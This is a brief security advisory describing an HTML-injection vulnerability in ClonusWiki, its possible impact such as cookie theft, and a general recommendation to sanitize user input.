ClonusWiki HTML-injection vulnerability

ClonusWiki is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user input before using it in dynamically generated content.
